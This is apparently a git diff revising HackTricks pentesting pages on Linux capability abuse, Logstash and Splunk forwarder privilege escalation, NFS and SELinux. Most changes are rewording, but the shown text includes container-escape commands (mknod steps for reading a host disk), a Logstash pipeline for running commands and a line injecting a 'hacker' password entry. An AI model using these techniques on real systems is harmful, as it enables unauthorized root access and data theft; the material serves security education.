**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** grants the ability to use debugging and system call tracing functionalities provided by `ptrace(2)` and cross-memory attach calls like `process_vm_readv(2)` and `process_vm_writev(2)`. Although powerful for diagnostic and monitoring purposes, if `CAP_SYS_PTRACE` is enabled without restrictive measures like a seccomp filter on `ptrace(2)`, it can significantly undermine system security. Specifically, it can be exploited to circumvent other security restrictions, notably those imposed by seccomp, as demonstrated by [proofs of concept (PoC) like this one](https://gist.github.com/thejh/8346f47e359adecd1d53).
|
||||
|
||||
**Example with binary (python)**
|
||||
|
||||
|
@ -663,7 +685,7 @@ If you get the error "No symbol "system" in current context." check the previous
|
|||
|
||||
You can check the enabled capabilities inside the docker container using:
|
||||
|
||||
```
|
||||
```bash
|
||||
capsh --print
|
||||
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
|
||||
|
@ -686,7 +708,7 @@ List **processes** running in the **host** `ps -eaf`
|
|||
|
||||
## CAP\_SYS\_MODULE
|
||||
|
||||
[**CAP\_SYS\_MODULE**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the process to load and unload arbitrary kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls). This could lead to trivial privilege escalation and ring-0 compromise. The kernel can be modified at will, subverting all system security, Linux Security Modules, and container systems.\
|
||||
**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** empowers a process to **load and unload kernel modules (`init_module(2)`, `finit_module(2)` and `delete_module(2)` system calls)**, offering direct access to the kernel's core operations. This capability presents critical security risks, as it enables privilege escalation and total system compromise by allowing modifications to the kernel, thereby bypassing all Linux security mechanisms, including Linux Security Modules and container isolation.
|
||||
**This means that you can** **insert/remove kernel modules in/from the kernel of the host machine.**
|
||||
|
||||
**Example with binary**
|
||||
|
@ -736,7 +758,7 @@ Which means that it's possible to use the command **`insmod`** to insert a kerne
|
|||
|
||||
You can check the enabled capabilities inside the docker container using:
|
||||
|
||||
```
|
||||
```bash
|
||||
capsh --print
|
||||
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||||
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
|
@ -820,7 +842,7 @@ Another example of this technique can be found in [https://www.cyberark.com/reso
|
|||
|
||||
## CAP\_DAC\_READ\_SEARCH
|
||||
|
||||
[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to **bypass file read, and directory read and execute permissions**. While this was designed to be used for searching or reading files, it also grants the process permission to invoke `open_by_handle_at(2)`. Any process with the capability `CAP_DAC_READ_SEARCH` can use `open_by_handle_at(2)` to gain access to any file, even files outside their mount namespace. The handle passed into `open_by_handle_at(2)` is intended to be an opaque identifier retrieved using `name_to_handle_at(2)`. However, this handle contains sensitive and tamperable information, such as inode numbers. This was first shown to be an issue in Docker containers by Sebastian Krahmer with [shocker](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) exploit.\
|
||||
[**CAP\_DAC\_READ\_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables a process to **bypass permissions for reading files and for reading and executing directories**. Its primary use is for file searching or reading purposes. However, it also allows a process to use the `open_by_handle_at(2)` function, which can access any file, including those outside the process's mount namespace. The handle used in `open_by_handle_at(2)` is supposed to be a non-transparent identifier obtained through `name_to_handle_at(2)`, but it can include sensitive information like inode numbers that are vulnerable to tampering. The potential for exploitation of this capability, particularly in the context of Docker containers, was demonstrated by Sebastian Krahmer with the shocker exploit, as analyzed [here](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
|
||||
**This means that you can** **bypass can bypass file read permission checks and directory read/execute permission checks.**
|
||||
|
||||
**Example with binary**
|
||||
|
@ -1025,7 +1047,7 @@ int main(int argc,char* argv[] )
|
|||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
I exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command:
|
||||
The exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command:
|
||||
{% endhint %}
|
||||
|
||||
![](<../../.gitbook/assets/image (407) (1).png>)
|
||||
|
@ -1071,7 +1093,7 @@ file.close()
|
|||
|
||||
You can check the enabled capabilities inside the docker container using:
|
||||
|
||||
```
|
||||
```bash
|
||||
capsh --print
|
||||
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
|
||||
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
|
||||
|
@ -1085,7 +1107,7 @@ groups=0(root)
|
|||
```
|
||||
|
||||
First of all read the previous section that [**abuses DAC\_READ\_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap\_dac\_read\_search) of the host and **compile** the exploit.\
|
||||
Then, **compile the following version of the shocker exploit** that ill allow you to **write arbitrary files** inside the hosts filesystem:
|
||||
Then, **compile the following version of the shocker exploit** that will allow you to **write arbitrary files** inside the hosts filesystem:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
@ -1392,7 +1414,7 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
|
|||
bash: /usr/bin/gdb: Operation not permitted
|
||||
```
|
||||
|
||||
After investigating I read this: _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP\_SETPCAP** capability in its effective set._\
|
||||
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP\_SETPCAP** capability in its effective set._\
|
||||
It looks like the Permitted capabilities limit the ones that can be used.\
|
||||
However, Docker also grants the **CAP\_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\
|
||||
However, in the documentation of this cap: _CAP\_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\
|
||||
|
@ -1475,7 +1497,7 @@ s.connect(('10.10.10.10',500))
|
|||
|
||||
## CAP\_NET\_RAW
|
||||
|
||||
[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to be able to **create RAW and PACKET socket types** for the available network namespaces. This allows arbitrary packet generation and transmission through the exposed network interfaces. In many cases this interface will be a virtual Ethernet device which may allow for a malicious or **compromised container** to **spoof** **packets** at various network layers. A malicious process or compromised container with this capability may inject into upstream bridge, exploit routing between containers, bypass network access controls, and otherwise tamper with host networking if a firewall is not in place to limit the packet types and contents. Finally, this capability allows the process to bind to any address within the available namespaces. This capability is often retained by privileged containers to allow ping to function by using RAW sockets to create ICMP requests from a container.
|
||||
[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) capability permits processes to **create RAW and PACKET sockets**, enabling them to generate and send arbitrary network packets. This can lead to security risks in containerized environments, such as packet spoofing, traffic injection, and bypassing network access controls. Malicious actors could exploit this to interfere with container routing or compromise host network security, especially without adequate firewall protections. Additionally, **CAP_NET_RAW** is crucial for privileged containers to support operations like ping via RAW ICMP requests.
|
||||
|
||||
**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability.
|
||||
|
||||
|
@ -1540,7 +1562,7 @@ while True:
|
|||
|
||||
## CAP\_NET\_ADMIN + CAP\_NET\_RAW
|
||||
|
||||
[**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the capability holder to **modify the exposed network namespaces' firewall, routing tables, socket permissions**, network interface configuration and other related settings on exposed network interfaces. This also provides the ability to **enable promiscuous mode** for the attached network interfaces and potentially sniff across namespaces.
|
||||
[**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) capability grants the holder the power to **alter network configurations**, including firewall settings, routing tables, socket permissions, and network interface settings within the exposed network namespaces. It also enables turning on **promiscuous mode** on network interfaces, allowing for packet sniffing across namespaces.
|
||||
|
||||
**Example with binary**
|
||||
|
||||
|
@ -1600,33 +1622,31 @@ sudo chattr -i file.txt
|
|||
|
||||
## CAP\_SYS\_CHROOT
|
||||
|
||||
[**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permits the use of the `chroot(2)` system call. This may allow escaping of any `chroot(2)` environment, using known weaknesses and escapes:
|
||||
[**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) enables the execution of the `chroot(2)` system call, which can potentially allow for the escape from `chroot(2)` environments through known vulnerabilities:
|
||||
|
||||
* [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)
|
||||
* [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/)
|
||||
|
||||
## CAP\_SYS\_BOOT
|
||||
|
||||
[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use the `reboot(2)` syscall. It also allows for executing an arbitrary **reboot command** via `LINUX_REBOOT_CMD_RESTART2`, implemented for some specific hardware platforms.
|
||||
|
||||
This capability also permits use of the `kexec_load(2)` system call, which loads a new crash kernel and as of Linux 3.17, the `kexec_file_load(2)` which also will load signed kernels.
|
||||
[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) not only allows the execution of the `reboot(2)` system call for system restarts, including specific commands like `LINUX_REBOOT_CMD_RESTART2` tailored for certain hardware platforms, but it also enables the use of `kexec_load(2)` and, from Linux 3.17 onwards, `kexec_file_load(2)` for loading new or signed crash kernels respectively.
|
||||
|
||||
## CAP\_SYSLOG
|
||||
|
||||
[CAP\_SYSLOG](https://man7.org/linux/man-pages/man7/capabilities.7.html) was finally forked in Linux 2.6.37 from the `CAP_SYS_ADMIN` catchall, this capability allows the process to use the `syslog(2)` system call. This also allows the process to view kernel addresses exposed via `/proc` and other interfaces when `/proc/sys/kernel/kptr_restrict` is set to 1.
|
||||
[**CAP\_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) was separated from the broader **CAP_SYS_ADMIN** in Linux 2.6.37, specifically granting the ability to use the `syslog(2)` call. This capability enables the viewing of kernel addresses via `/proc` and similar interfaces when the `kptr_restrict` setting is at 1, which controls the exposure of kernel addresses. Since Linux 2.6.39, the default for `kptr_restrict` is 0, meaning kernel addresses are exposed, though many distributions set this to 1 (hide addresses except from uid 0) or 2 (always hide addresses) for security reasons.
|
||||
|
||||
The `kptr_restrict` sysctl setting was introduced in 2.6.38, and determines if kernel addresses are exposed. This defaults to zero (exposing kernel addresses) since 2.6.39 within the vanilla kernel, although many distributions correctly set the value to 1 (hide from everyone accept uid 0) or 2 (always hide).
|
||||
|
||||
In addition, this capability also allows the process to view `dmesg` output, if the `dmesg_restrict` setting is 1. Finally, the `CAP_SYS_ADMIN` capability is still permitted to perform `syslog` operations itself for historical reasons.
|
||||
Additionally, **CAP_SYSLOG** allows accessing `dmesg` output when `dmesg_restrict` is set to 1. Despite these changes, **CAP_SYS_ADMIN** retains the ability to perform `syslog` operations due to historical precedents.
|
||||
|
||||
## CAP\_MKNOD
|
||||
|
||||
[CAP\_MKNOD](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows an extended usage of [mknod](https://man7.org/linux/man-pages/man2/mknod.2.html) by permitting creation of something other than a regular file (`S_IFREG`), FIFO (named pipe)(`S_IFIFO`), or UNIX domain socket (`S_IFSOCK`). The special files are:
|
||||
[**CAP\_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) extends the functionality of the `mknod` system call beyond creating regular files, FIFOs (named pipes), or UNIX domain sockets. It specifically allows for the creation of special files, which include:
|
||||
|
||||
* `S_IFCHR` (Character special file (a device like a terminal))
|
||||
* `S_IFBLK` (Block special file (a device like a disk)).
|
||||
- **S_IFCHR**: Character special files, which are devices like terminals.
|
||||
- **S_IFBLK**: Block special files, which are devices like disks.
|
||||
|
||||
It is a default capability ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
|
||||
This capability is essential for processes that require the ability to create device files, facilitating direct hardware interaction through character or block devices.
|
||||
|
||||
It is a default docker capability ([https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19](https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19)).
|
||||
|
||||
This capability permits to do privilege escalations (through full disk read) on the host, under these conditions:
|
||||
|
||||
|
@ -1634,42 +1654,43 @@ This capability permits to do privilege escalations (through full disk read) on
|
|||
2. Have initial access to the container (Privileged (EUID 0), and effective `CAP_MKNOD`).
|
||||
3. Host and container should share the same user namespace.
|
||||
|
||||
**Steps :**
|
||||
**Steps to Create and Access a Block Device in a Container:**
|
||||
|
||||
1. On the host, as a standard user:
|
||||
1. Get the current UID (`id`). For example: `uid=1000(unprivileged)`.
|
||||
2. Get the device you want to read. For exemple: `/dev/sda`
|
||||
2. On the container, as `root`:
|
||||
1. **On the Host as a Standard User:**
|
||||
- Determine your current user ID with `id`, e.g., `uid=1000(standarduser)`.
|
||||
- Identify the target device, for example, `/dev/sdb`.
|
||||
|
||||
2. **Inside the Container as `root`:**
|
||||
|
||||
```bash
|
||||
# Create a new block special file matching the host device
|
||||
mknod /dev/sda b
|
||||
# Configure the permissions
|
||||
chmod ug+w /dev/sda
|
||||
# Create the same standard user than the one on host
|
||||
useradd -u 1000 unprivileged
|
||||
# Login with that user
|
||||
su unprivileged
|
||||
# Create a block special file for the host device
|
||||
mknod /dev/sdb b 8 16
|
||||
# Set read and write permissions for the user and group
|
||||
chmod 660 /dev/sdb
|
||||
# Add the corresponding standard user present on the host
|
||||
useradd -u 1000 standarduser
|
||||
# Switch to the newly created user
|
||||
su standarduser
|
||||
```
|
||||
|
||||
1. Back on the host:
|
||||
3. **Back on the Host:**
|
||||
|
||||
```bash
|
||||
# Find the PID linked to the container owns by the user "unprivileged"
|
||||
# Example only (Depends on the shell program, etc.). Here: PID=18802.
|
||||
$ ps aux | grep -i /bin/sh | grep -i unprivileged
|
||||
unprivileged 18802 0.0 0.0 1712 4 pts/0 S+ 15:27 0:00 /bin/sh
|
||||
# Locate the PID of the container process owned by "standarduser"
|
||||
# This is an illustrative example; actual command might vary
|
||||
ps aux | grep -i container_name | grep -i standarduser
|
||||
# Assuming the found PID is 12345
|
||||
# Access the container's filesystem and the special block device
|
||||
head /proc/12345/root/dev/sdb
|
||||
```
|
||||
|
||||
```bash
|
||||
# Because of user namespace sharing, the unprivileged user have access to the container filesystem, and so the created block special file pointing on /dev/sda
|
||||
head /proc/18802/root/dev/sda
|
||||
```
|
||||
This approach allows the standard user to access and potentially read data from `/dev/sdb` through the container, exploiting shared user namespaces and permissions set on the device.
|
||||
|
||||
The attacker can now read, dump, copy the device /dev/sda from unprivileged user.
|
||||
|
||||
### CAP\_SETPCAP
|
||||
|
||||
**CAP_SETPCAP** enables a process to **alter the capability sets** of another process, allowing for the addition or removal of capabilities from the effective, inheritable, and permitted sets. However, a process can only modify capabilities that it possesses in its own permitted set, ensuring it cannot elevate another process's privileges beyond its own. Recent kernel updates have tightened these rules, restricting `CAP_SETPCAP` to only diminish the capabilities within its own or its descendants' permitted sets, aiming to mitigate security risks. Usage requires having `CAP_SETPCAP` in the effective set and the target capabilities in the permitted set, utilizing `capset()` for modifications. This summarizes the core function and limitations of `CAP_SETPCAP`, highlighting its role in privilege management and security enhancement.
|
||||
|
||||
**`CAP_SETPCAP`** is a Linux capability that allows a process to **modify the capability sets of another process**. It grants the ability to add or remove capabilities from the effective, inheritable, and permitted capability sets of other processes. However, there are certain restrictions on how this capability can be used.
|
||||
|
||||
A process with `CAP_SETPCAP` **can only grant or remove capabilities that are in its own permitted capability set**. In other words, a process cannot grant a capability to another process if it does not have that capability itself. This restriction prevents a process from elevating the privileges of another process beyond its own level of privilege.
|
||||
|
|
|
@ -15,17 +15,17 @@ Other ways to support HackTricks:
|
|||
</details>
|
||||
|
||||
|
||||
# Basic Information
|
||||
## Logstash
|
||||
|
||||
Logstash is used for collecting, transforming and outputting logs. This is realized by using **pipelines**, which contain input, filter and output modules. The service gets interesting when having compromised a machine which is running Logstash as a service.
|
||||
Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine.
|
||||
|
||||
## Pipelines
|
||||
### Pipeline Configuration
|
||||
|
||||
The pipeline configuration file **/etc/logstash/pipelines.yml** specifies the locations of active pipelines:
|
||||
Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations:
|
||||
|
||||
```bash
|
||||
# This file is where you define your pipelines. You can define multiple.
|
||||
# For more information on multiple pipelines, see the documentation:
|
||||
```yaml
|
||||
# Define your pipelines here. Multiple pipelines can be defined.
|
||||
# For details on multiple pipelines, refer to the documentation:
|
||||
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
|
||||
|
||||
- pipeline.id: main
|
||||
|
@ -35,23 +35,21 @@ The pipeline configuration file **/etc/logstash/pipelines.yml** specifies the lo
|
|||
pipeline.workers: 6
|
||||
```
|
||||
|
||||
In here you can find the paths to the **.conf** files, which contain the configured pipelines. If the **Elasticsearch output module** is used, **pipelines** are likely to **contain** valid **credentials** for an Elasticsearch instance. Those credentials have often more privileges, since Logstash has to write data to Elasticsearch. If wildcards are used, Logstash tries to run all pipelines located in that folder matching the wildcard.
|
||||
This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory.
|
||||
|
||||
## Privesc with writable pipelines
|
||||
### Privilege Escalation via Writable Pipelines
|
||||
|
||||
Before trying to elevate your own privileges you should check which user is running the logstash service, since this will be the user, you will be owning afterwards. Per default the logstash service runs with the privileges of the **logstash** user.
|
||||
To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria:
|
||||
|
||||
Check whether you have **one** of the required rights:
|
||||
- Possess **write access** to a pipeline **.conf** file **or**
|
||||
- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder
|
||||
|
||||
* You have **write permissions** on a pipeline **.conf** file **or**
|
||||
* **/etc/logstash/pipelines.yml** contains a wildcard and you are allowed to write into the specified folder
|
||||
Additionally, **one** of these conditions must be fulfilled:
|
||||
|
||||
Further **one** of the requirements must be met:
|
||||
- Capability to restart the Logstash service **or**
|
||||
- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set
|
||||
|
||||
* You are able to restart the logstash service **or**
|
||||
* **/etc/logstash/logstash.yml** contains the entry **config.reload.automatic: true**
|
||||
|
||||
If a wildcard is specified, try to create a file matching that wildcard. Following content can be written into the file to execute commands:
|
||||
Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance:
|
||||
|
||||
```bash
|
||||
input {
|
||||
|
@ -69,11 +67,10 @@ output {
|
|||
}
|
||||
```
|
||||
|
||||
The **interval** specifies the time in seconds. In this example the **whoami** command is executed every 120 seconds. The output of the command is saved into **/tmp/output.log**.
|
||||
Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**.
|
||||
|
||||
If **/etc/logstash/logstash.yml** contains the entry **config.reload.automatic: true** you only have to wait until the command gets executed, since Logstash will automatically recognize new pipeline configuration files or any changes in existing pipeline configurations. Otherwise trigger a restart of the logstash service.
|
||||
With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions.
|
||||
|
||||
If no wildcard is used, you can apply those changes to an existing pipeline configuration. **Make sure you do not break things!**
|
||||
|
||||
# References
|
||||
|
||||
|
|
|
@ -137,7 +137,7 @@ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
|
|||
```
|
||||
|
||||
# References
|
||||
* https://www.errno.fr/nfs_privesc.html
|
||||
* [https://www.errno.fr/nfs_privesc.html](https://www.errno.fr/nfs_privesc.html)
|
||||
|
||||
|
||||
<details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -149,7 +149,7 @@ echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysal
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,6 +17,8 @@ Other ways to support HackTricks:
|
|||
|
||||
# SELinux in Containers
|
||||
|
||||
[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
|
||||
[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system.
|
||||
|
||||
Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`.
|
||||
|
|
|
@ -20,154 +20,47 @@ Also if you are **already root and the Splunk service is not listening only on l
|
|||
|
||||
In the first image below you can see how a Splunkd web page looks like.
|
||||
|
||||
**The following information was ** [**https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/**](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)
|
||||
|
||||
## Abusing Splunk Forwarders For Shells and Persistence
|
||||
|
||||
14 Aug 2020
|
||||
## Splunk Universal Forwarder Agent Exploit Summary
|
||||
|
||||
### Description: <a href="#description" id="description"></a>
|
||||
**For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)**
|
||||
|
||||
The Splunk Universal Forwarder Agent (UF) allows authenticated remote users to send single commands or scripts to the agents through the Splunk API. The UF agent doesn’t validate connections coming are coming from a valid Splunk Enterprise server, nor does the UF agent validate the code is signed or otherwise proven to be from the Splunk Enterprise server. This allows an attacker who gains access to the UF agent password to run arbitrary code on the server as SYSTEM or root, depending on the operating system.
|
||||
**Exploit Overview:**
|
||||
An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network.
|
||||
|
||||
This attack is being used by Penetration Testers and is likely being actively exploited in the wild by malicious attackers. Gaining the password could lead to the compromise of hundreds of system in a customer environment.
|
||||
**Key Points:**
|
||||
- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution.
|
||||
- Common password acquisition methods include locating them in network directories, file shares, or internal documentation.
|
||||
- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration.
|
||||
|
||||
Splunk UF passwords are relatively easy to acquire, see the secion Common Password Locations for details.
|
||||
**Exploit Execution:**
|
||||
1. Attacker obtains the UF agent password.
|
||||
2. Utilizes the Splunk API to send commands or scripts to the agents.
|
||||
3. Possible actions include file extraction, user account manipulation, and system compromise.
|
||||
|
||||
### Context: <a href="#context" id="context"></a>
|
||||
|
||||
Splunk is a data aggregation and search tool often used as a Security Information and Event Monitoring (SIEM) system. Splunk Enterprise Server is a web application which runs on a server, with agents, called Universal Forwarders, which are installed on every system in the network. Splunk provides agent binaries for Windows, Linux, Mac, and Unix. Many organizations use Syslog to send data to Splunk instead of installing an agent on Linux/Unix hosts but agent installation is becomming increasingly popular.
|
||||
|
||||
Universal Forwarder is accessible on each host at https://host:8089. Accessing any of the protected API calls, such as /service/ pops up a Basic authentication box. The username is always admin, and the password default used to be changeme until 2016 when Splunk required any new installations to set a password of 8 characters or higher. As you will note in my demo, complexity is not a requirement as my agent password is 12345678. A remote attacker can brute force the password without lockout, which is a necessity of a log host, since if the account locked out then logs would no longer be sent to the Splunk server and an attacker could use this to hide their attacks. The following screenshot shows the Universal Forwarder agent, this initial page is accessible without authentication and can be used to enumerate hosts running Splunk Universal Forwarder.
|
||||
|
||||
![0](https://eapolsniper.github.io/assets/2020AUG14/11\_SplunkAgent.png)
|
||||
|
||||
Splunk documentaiton shows using the same Universal Forwarding password for all agents, I don’t remember for sure if this is a requirement or if individual passwords can be set for each agent, but based on documentaiton and memory from when I was a Splunk admin, I believe all agents must use the same password. This means if the password is found or cracked on one system, it is likely to work on all Splunk UF hosts. This has been my personal experience, allowing compromise of hundreds of hosts quickly.
|
||||
|
||||
### Common Password Locations <a href="#common-password-locations" id="common-password-locations"></a>
|
||||
|
||||
I often find the Splunk Universal Forwarding agent plain text password in the following locations on networks:
|
||||
|
||||
1. Active Directory Sysvol/domain.com/Scripts directory. Administrators store the executible and the password together for efficient agent installation.
|
||||
2. Network file shares hosting IT installation files
|
||||
3. Wiki or other build note repositories on internal network
|
||||
|
||||
The password can also be accessed in hashed form in Program Files\Splunk\etc\passwd on Windows hosts, and in /opt/Splunk/etc/passwd on Linux and Unix hosts. An attacker can attempt to crack the password using Hashcat, or rent a cloud cracking environment to increase liklihood of cracking the hash. The password is a strong SHA-256 hash and as such a strong, random password is unlikely to be cracked.
|
||||
|
||||
### Impact: <a href="#impact" id="impact"></a>
|
||||
|
||||
